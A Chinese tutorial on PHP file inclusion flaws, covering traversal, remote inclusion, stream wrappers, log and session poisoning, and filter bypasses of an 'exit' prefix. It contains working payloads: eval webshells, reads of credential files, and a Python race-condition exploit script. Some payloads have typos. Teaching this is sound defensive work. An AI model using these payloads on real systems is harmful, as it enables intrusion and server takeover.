文件包含函数

PHP中文件包含函数有以下四种:

1
2
3
4
5
6
7
8
9
require()

require_once()

include()

include_once()

//具体用法自行百度

includerequire区别主要是:include在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行;而require函数出现错误的时候,会直接报错并退出程序的执行。

include_once()require_once()这两个函数,与前两个的不同之处在于这两个函数只包含一次,适用于在脚本执行期间同一个文件有可能被包括超过一次且你想确保它只被包括一次以避免函数重定义,变量重新赋值等问题的情况。

漏洞产生的原因

文件包含函数加载的参数没有经过过滤或者严格的定义,可以被用户控制,包含了其他恶意文件,导致执行了非预期的代码。

1
2
3
4
5
6
7
//实例
<?php
$filename = $_GET['filename'];
include($filename);
?>

$_GET['filename']参数开发者没有经过严格的过滤,直接带入了include的函数,攻击者可以修改$_GET['filename']的值,执行非预期的操作。

本地文件包含

条件:

  1. allow_url_fopen=On
  2. 变量是可以人为控制的

方法:

  1. 尝试随便读一个文件观察报错得到路径(./当前路径,../跳转上一目录来读取文件)

无限制本地文件包含漏洞

test代码

1
2
3
4
<?php
$filename = $_GET['filename'];
include($filename);
?>
1
payload:../../../../../../../etc/password                                     //通过目录遍历来读取其他文件夹内的文件

常见敏感信息路径:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
windows:
c:\boot.ini // 查看系统版本
c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件
c:\windows\repair\sam // 存储Windows系统初次安装的密码
c:\ProgramFiles\mysql\my.ini // MySQL配置
c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密码
c:\windows\php.ini // php 配置信息

linux/unix:
/etc/passwd // 账户信息
/etc/shadow // 账户密码文件
/usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置
/usr/local/app/php5/lib/php.ini // PHP相关配置
/etc/httpd/conf/httpd.conf // Apache配置文件
/etc/my.conf // mysql 配置文件

有限制本地文件包含漏洞绕过

%00截断

条件:

​ magic_quotes_gpc = Off php版本<5.3.4

test代码

1
2
3
4
<?php
$filename = $_GET['filename'];
include($filename . ".html");
?>
1
payload:../../../../../../../shell.php%00
路径长度截断

条件:

​ windows OS,点号需要长于256;linux OS 长于4096

1
2
3
Windows下目录最大长度为256字节,超出的部分会被丢弃;

Linux下目录最大长度为4096字节,超出的部分会被丢弃。

test代码

1
2
3
4
<?php
$filename = $_GET['filename'];
include($filename . ".html");
?>
1
payload:filename=test.txt/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././
点号截断

条件:

​ windows OS,点号需要长于256

test代码

1
2
3
4
<?php
$filename = $_GET['filename'];
include($filename . ".html");
?>
1
payload:filename=test.txt.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

session文件包含漏洞

关于session

利用条件:当session的存储位置可以获取

  1. 通过phpinfo的信息可以获取到session的存储位置 如下👇

    ​ 通过phpinfo的信息,获取到session.save_path为/var/lib/php/session:

p2

  1. 通过猜测默认的session存放位置进行尝试 如下👇

    ​ 如linux下默认存储在/var/lib/php/session目录下

session中的内容可以被控制,传入恶意代码

test代码

1
2
3
4
5
<?php
session_start();
$a=$_GET['aaa'];
$_SESSION["username"]=$a;
?>

这段代码会将获取到的GET方式传入参数存入到session中

漏洞利用

通过上面的分析,可以知道传入参数会存储在session文件中,若存在本地文件包含漏洞,就可以a变量写入到session文件中,然后通过文件包含漏洞执行恶意代码。

远程文件包含漏洞

条件:

  1. allow_url_fopen = On(是否允许打开远程文件)
  2. allow_url_include = On(是否允许include/require远程文件)

无限制远程文件包含漏洞

test代码

1
2
3
4
<?php
$filename = $_GET['filename'];
include($filename);
?>
1
2
3
4
payload:filename=http://xxx.xxx.xxx.xxx/phpinfo.txt

phpinfo.txt:
<?php phpinfo();?>

有限制远程文件包含漏洞

test代码

1
<?php include($_GET['filename'] . ".html"); ?>

绕过方式:

  1. 问号绕过 payload:filename=http://xxx.xxx.xxx.xxx/phpinfo.txt?
  2. #号绕过 payload:filename=http://xxx.xxx.xxx.xxx/phpinfo.txt%23
  3. 空格绕过 payload:filename=http://xxx.xxx.xxx.xxx/phpinfo.txt%20

关于php伪协议

image.png

file://

通过file协议可以访问本地文件系统,读取到文件的内容

test:

1
2
3
4
<?php
$filename = $_GET['filename'];
include($filename);
?>
1
payload:filename=file://c:/xxx.txt
http://

条件

  1. 受allow_url_fopen限制

格式:file=http://xxx.xxx.xxx.xxx/xxx.xxx

php://

PHP 提供了一些杂项输入/输出(IO)流,允许访问 PHP 的输入输出流、标准输入输出和错误描述符, 内存中、磁盘备份的临时文件流以及可以操作其他读取写入文件资源的过滤器。相关限制条件查看官方文档

php://input

读取POST数据

可以访问请求的原始数据的只读流。即可以直接读取到POST上没有经过解析的原始数据。 enctype=”multipart/form-data” 的时候 php://input 是无效的。

用法:?file=php://input 数据利用POST传过去。

test:

1
2
3
4
//post.php
<?php
echo file_get_contents("php://input");
?>

直接访问post.php 然后直接post上传数据即可

写入木马

条件:

  1. 需同时开启 allow_url_fopen 和 allow_url_include
  2. PHP < 5.3.0

test:

1
2
3
4
<?php
$filename = $_GET['filename'];
include($filename);
?>
1
2
//POST传入
<?PHP fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');?>

命令执行

条件:

  1. 需同时开启 allow_url_fopen 和 allow_url_include
  2. PHP < 5.3.0

可以造成任意代码执行,即POST过去PHP代码,即可执行。

test同上

直接post传php代码就可执行

php://filter

元封装器,设计用于”数据流打开”时的”筛选过滤”应用,对本地磁盘文件进行读写。

条件

  1. 只是读取,需要开启 allow_url_fopen,不需要开启 allow_url_include

用法:?filename=php://filter/convert.base64-encode/resource=xxx.php

或是 ?filename=php://filter/read=convert.base64-encode/resource=xxx.php

参数:👇

image.png

data://(可以执行php代码)

数据流封装器,和php://相似都是利用了流的概念,将原本的include的文件流重定向到了用户可控制的输入流中,简单来说就是执行文件的包含方法包含了你的输入流,通过你输入payload来实现目的

例如:data://text/plain;base64,dGhlIHVzZXIgaXMgYWRtaW4

条件:

  1. PHP版本5.2,5.3,5.5,7.0;data:// 协议是是受限于allow_url_fopen的,官方文档上给出的是NO,所以要使用data://协议要满足双on条件

1、读取文件

和php伪协议的input类似,碰到file_get_contents()来用

如果php.ini里的allow_url_include=On(PHP < 5.3.0),就可以造成任意代码执行,在这就可以理解成远程文件包含漏洞

test:

1
2
3
4
<?php
$filename = $_GET['filename'];
include($filename);
?>
1
payload:data://text/plain;base64,PD9waHAgcGhwaW5mbygpOw==								//<?php phpinfo();
zlib://
  1. zip://, bzip2://, zlib://协议在双off的情况下也可以正常使用
  2. zlib:// ,bzip2:// ,zip:// — 压缩流,可以访问压缩文件中的子文件,而且不需要指定后缀名。配合文件上传来getshell
zip://

条件: PHP > =5.3.0,注意在windows下测试要5.3.0<PHP<5.4 才可以

使用:zip://[压缩文件绝对路径]#[压缩文件内的子文件名]

注意改后缀以及将#编码为%23

bzip2://

compress.bzip2://file.bz2

在compress.bzip2://直接加压缩文件路径,相对绝对都可以

zlib://

使用:compress.zlib://file.gz

在compress.zlib://直接加压缩文件路径,相对绝对都可以

phar://

这个参数是就是php解压缩包的一个函数,不管后缀是什么,都会当做压缩包来解压。

用法:?file=phar://压缩包/内部文件 。

注意: PHP > =5.3.0 压缩包需要是zip协议压缩,rar不行,将木马文件压缩后,改为其他任意格式的文件都可以正常使用。 步骤: 写一个一句话木马文件shell.php,然后用zip协议压缩为shell.zip,然后将后缀改为png等其他格式。

test:

1
2
3
4
<?php
$filename = $_GET['filename'];
include($filename);
?>
1
payload:phar://xxx.png/shell.php

包含日志文件getshell

当没有上传点,并且也没有url_allow_include功能时,我们就可以考虑包含服务器的日志文件。

原理:当我们访问网站时,服务器的日志中都会记录我们的行为,当我们访问链接中包含PHP一句话木马时,也会被记录到日志中

步骤:

  1. 找到日志存放位置
  2. 用bp或者curl来避免url转码

相关细节见这里

也可修改UA来写入一句话木马

利用session.upload_progress进行文件包含

这个功能在php5.4添加的需要注意一下版本.

在php.ini有以下几个默认选项

1
2
3
4
5
6
1. session.upload_progress.enabled = on
2. session.upload_progress.cleanup = on
3. session.upload_progress.prefix = "upload_progress_"
4. session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"
5. session.upload_progress.freq = "1%"
6. session.upload_progress.min_freq = "1"

这里,我们只需要了解前四个配置选项即可

enabled=on表示upload_progress功能开始,也意味着当浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中 ;

cleanup=on表示当文件上传结束后,php将会立即清空对应session文件中的内容,这个选项非常重要;

name当它出现在表单中,php将会报告上传进度,最大的好处是,它的值可控;

prefix+name将表示为session中的键名

test环境:

  • php5.5.38
  • Windows10
  • 关于session的配置为默认值

代码

1
2
3
4
<?php
$b=$_GET['file'];
include "$b";
?>

可以发现,存在一个文件包含漏洞,但是找不到一个可以包含的恶意文件。其实,我们可以利用session.upload_progress将恶意语句写入session文件,从而包含session文件。前提需要知道session文件的存放位置。

可以看到代码里边并没有session_start() 那么怎么创建session文件呢?如果session.auto_start=On ,则PHP在接收请求的时候会自动初始化Session,不再需要执行session_start()。但默认情况下,这个选项都是关闭的。但session还有一个默认选项,session.use_strict_mode默认值为0。此时用户是可以自己定义Session ID的。比如,我们在Cookie里设置PHPSESSID=T0mr,PHP将会在服务器上创建一个文件:/tmp/sess_T0mr。即使此时用户没有初始化Session,PHP也会自动初始化Session。 并产生一个键值,这个键值有ini.get(“session.upload_progress.prefix”)+由我们构造的session.upload_progress.name值组成,最后被写入sess_文件里。

第二个问题 默认配置session.upload_progress.cleanup = on导致文件上传后,session文件内容立即清空,那怎么才可以进行rce呢

可以利用竞争,在session文件内容清空前进行包含利用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#coding=utf-8
import io
import requests
import threading
sessid = 'T0mr'
data = {"cmd":"system('whoami');"}
def write(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50)
resp = session.post( 'url', data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST["cmd"]);?>'}, files={'file': ('xxx.txt',f)}, cookies={'PHPSESSID': sessid} )
def read(session):
while True:
resp = session.post('url?file=session/sess_'+sessid,data=data)
if 'xxx.txt' in resp.text:
print(resp.text)
event.clear()
else:
print("[+++++++++++++]retry")
if __name__=="__main__":
event=threading.Event()
with requests.session() as session:
for i in xrange(1,30):
threading.Thread(target=write,args=(session,)).start()
for i in xrange(1,30):
threading.Thread(target=read,args=(session,)).start()
event.set()

php://filter绕过死亡代码

代码

1
2
3
4
<?php
$content = '<?php exit; ?>';
$content .= $_POST['txt'];
file_put_contents($_POST['filename'], $content);

$content在开头增加了exit过程,导致即使我们成功写入一句话,也执行不了

1、base64

这里的$_POST['filename']是可以控制协议的,我们即可使用 php://filter协议来施展魔法:使用php://filter流的base64-decode方法,将$content解码,利用php base64_decode函数特性去除“死亡exit”。base64编码只包含了64个可打印字符,而PHP在解码base64时,遇到不在其中的字符时,将会跳过这些字符,仅将合法字符组成一个新的字符串进行解码。所有就可以理解为,在php中对base64解码先匹配所有符合base64编码规范的字符在对其进行解码。所以,当$content被加上了<?php exit; ?>以后,我们可以使用 php://filter/write=convert.base64-decode 来首先对其解码。在解码的过程中,字符<、?、;、>、空格等一共有7个字符不符合base64编码的字符范围将被忽略,所以最终被解码的字符仅有“phpexit”和我们传入的其他字符。“phpexit”一共7个字符,因为base64算法解码时是4个byte一组,所以给他增加1个“a”一共8个字符。这样,”phpexita”被正常解码,而后面我们传入的webshell的base64内容也被正常解码。结果就是<?php exit; ?>没有了

传入的payload:txt==aPD9waHAgZXZhbCgkX1BPU1RbJ3gnXSk7Pz4= filename=php://filter/write=convet.base64-decode/resource=shell.php

2、strip_tags

除了使用base64特性的方法外,我们还可以利用php://filter字符串处理方法来去除“死亡exit”。

这个<?php exit; ?>实际上是一个XML标签,既然是XML标签,我们就可以利用strip_tags函数去除它,而php://filter刚好是支持这个方法的。

strip_tags

  1. (PHP 4, PHP 5, PHP 7, PHP 8)
  2. strip_tags — 从字符串中去除 HTML 和 PHP 标记

php://filter允许使用多个过滤器,我们可以先将webshell用base64编码。在调用完成strip_tags后再进行base64-decode。“死亡exit”在第一步被去除,而webshell在第二步被还原

payload:txt=PD9waHAgZXZhbCgkX1BPU1RbJ3gnXSk7Pz4= filename=php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php

3、rot13

还可以利用rot13编码独立完成任务。原理和上面类似,核心是将“死亡exit”去除。<?php exit; ?>在经过rot13编码后会变成<?cuc rkvg; ?>,在PHP不开启short_open_tag时,php不认识这个字符串,当然也就不会执行了

payload:txt=<?cuc rkvg; ?> filename=php://filter/write=string.rot13/resource=shell.php

当然,这个方法的条件就是不开启短标签

参考链接:

https://www.freebuf.com/news/182280.html

http://www.y2hlbg.top/2021/04/20/%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB/#post-comment

https://www.cnblogs.com/my1e3/p/5854897.html

https://www.freebuf.com/vuls/202819.html